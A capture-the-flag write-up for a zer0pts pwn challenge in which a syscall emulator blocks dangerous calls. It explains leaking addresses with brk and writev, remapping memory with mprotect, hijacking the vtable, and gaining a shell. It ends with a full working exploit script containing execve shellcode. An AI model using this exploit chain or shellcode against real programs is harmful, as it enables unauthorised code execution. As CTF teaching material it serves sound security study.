zer0pts CTF
pwn
We're given a 64-bit ELF made by C++. The source code is attached as well.
$ checksec -f chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 115 Symbols Yes 0 0 chall
The program can call arbitrary system call with up to 3 arguments set, and prints the result (rax). However, the following method disables some system calls.
int Emulator::check() {
if (this->rax >= 0x40000000) return 1; // x32 ABI is dangerous!
if (this->rax == SYS_open) return 1; // never open files
if (this->rax == SYS_openat) return 1;
if (this->rax == SYS_write) return 1; // no more leak
if (this->rax == SYS_read) return 1; // no more overwrite
if (this->rax == SYS_sendfile) return 1;
if (this->rax == SYS_execve) return 1; // of course not!
if (this->rax == SYS_execveat) return 1;
if (this->rax == SYS_ptrace) return 1; // may ruine the program
if (this->rax == SYS_fork) return 1;
if (this->rax == SYS_vfork) return 1;
if (this->rax == SYS_clone) return 1;
return 0;
}
Most of the important system calls are banned.
Since mprotect is allowed, we will get the shell if we could put our shellcode and make it executable. However, PIE and ASLR are enabled.
brk
is a system call to change the break value of heap. brk(0)
will return the value of break. This value points to the end of the heap, with which we can calculate the heap base.
We can't use write or sendfile but we need a system call to write data. There's no such a system call which returns the libc address (as far as I know). writev
system call is not banned. This system call writes data from a iovec struct which has the buffer and size. It's useful if we can find an iovec-like data in the heap.
Similar to writev
, we can use readv
.
First, we leak the heap address by brk
. There exists a member variable of Emulator in the heap because Emulator
is new
ed.
Checking with gdb, we find Emulator
is allocated at 0x11e60 from the top of the heap.
pwndbg> x/16xg 0x555555758000 + 0x11e60
0x555555769e60: 0x0000000000000000 0x0000000000000031
0x555555769e70: 0x0000555555756ce0 0x000000000000007b
0x555555769e80: 0x0000000000000001 0x0000000000000002
0x555555769e90: 0x0000000000000003 0x000000000000f171
0x555555769ea0: 0x0000000000000000 0x0000000000000000
0x555555769eb0: 0x0000000000000000 0x0000000000000000
0x555555769ec0: 0x0000000000000000 0x0000000000000000
0x555555769ed0: 0x0000000000000000 0x0000000000000000
Here we can see an iovec-like structure at 0x555555769e70.
At 0x555555769e78 is rax value and at 0x555555769e70 is the pointer to the vtable of Emulator.
pwndbg> x/16xg 0x0000555555756ce0
0x555555756ce0 <_ZTV8Emulator+16>: 0x0000555555555114 0x000055555555516e
0x555555756cf0 <_ZTV8Emulator+32>: 0x0000555555555290 0x00005555555552d8
0x555555756d00 <_ZTI8Emulator>: 0x00007ffff7dc6168 0x00005555555559a8
writev
is 20 and rax will be 20. This means we can read 20 bytes of the vtable. In this way we can calculate the proc base.
We'll get RIP by overwriting vtable but vtable is only readable. So, we use mprotect
to make it writable. This is simple because we already know the proc base.
We'll put a ROP gadget on the heap later. To make it available, we use mprotect
to change the permission.
As we made the vtable writable in 3, we can overwrite the pointer to Emulator::check
. If we can make it a function which return 0, every system call will be available. However, there's no such useful function. So, we prepare a ROP gadget in the heap, such as xor rax, rax; ret;
or mov rax, 0; ret;
. As we can only put register values, I set an argument to 0xc3c03148 and now we have xor rax, rax; ret;
in the heap.
Now Emulator::check
is disabled!
We can write shellcode by read
or whatever and call it by overwriting the vtable.
from ptrlib import *
def syscall(n, args, recv=True):
sock.sendlineafter("syscall: ", str(n))
for i in range(3):
if i < len(args):
sock.sendlineafter(": ", str(args[i]))
else:
sock.sendlineafter(": ", "0")
if recv:
sock.recvuntil("retval: ")
return int(sock.recvline(), 16)
elf = ELF("../distfiles/chall")
#sock = Process("../distfiles/chall")
sock = Socket("localhost", 9006)
vtable = 0x202ce0
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# 1) brk(0)
# Call brk(0) to leak heap base.
heap = syscall(12, [0]) - 0x21000
logger.info("heap = " + hex(heap))
# 2) writev(1, heap + 0x11e70, 1)
# Call writev to leak proc base.
# The first 16 bytes of Emulator (vtable, rax) can be regarded as an iovec.
syscall(20, [1, heap + 0x11e70, 1], recv=False)
sock.recvline()
proc = u64(sock.recv(8)) - elf.symbol("_ZN8Emulator3setENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERm")
logger.info("proc = " + hex(proc))
# 3) mprotect(proc + 0x202000, 0x1000, PROT_READ | PROT_WRITE)
# Before overwriting the vtable, we have to make the area writable.
syscall(10, [proc + 0x202000, 0x1000, 0b011])
# 4) mprotect(heap + 0x11000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC)
# Also we make the heap executable.
# This is because we will write "xor rax, rax; ret;" gadget here.
syscall(10, [heap + 0x11000, 0x1000, 0b111])
rop_xor_rax_rax_ret = heap + 0x11e90
# 5) readv(0, heap + 0x11e70, 1)
# Call readv to disable Emulator::check.
# Same principle as step 2, we can overwrite the vtable.
payload = b''
payload += p64(proc + elf.symbol("_ZN8Emulator3setENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERm"))
payload += p64(rop_xor_rax_rax_ret)
syscall(19, [0, heap + 0x11e70, 1], recv=False)
sock.send(payload)
# Now, arg3 is regarded as ROP gadget!
# 6) read(0, heap + 0x11000, 0xc3c03148)
# Write shellcode to heap.
# (We can bypass Emulator::check because 0xc3c03148 == xor rax, rax; ret;)
syscall(0, [0, heap + 0x11000, 0xc3c03148], recv=False)
sock.send(shellcode)
# 7) read(0, proc + vtable + 8, 0xc3c03148)
# Call read to overwrite Emulator::check to our shellcode.
payload = p64(heap + 0x11000)
syscall(0, [0, proc + vtable + 8, 0xc3c03148], recv=False)
sock.send(payload)
# 8) get the shell!
# Now Emulator::check points to our shellcode!
syscall(0, [0, 0, 0], recv=False)
sock.interactive()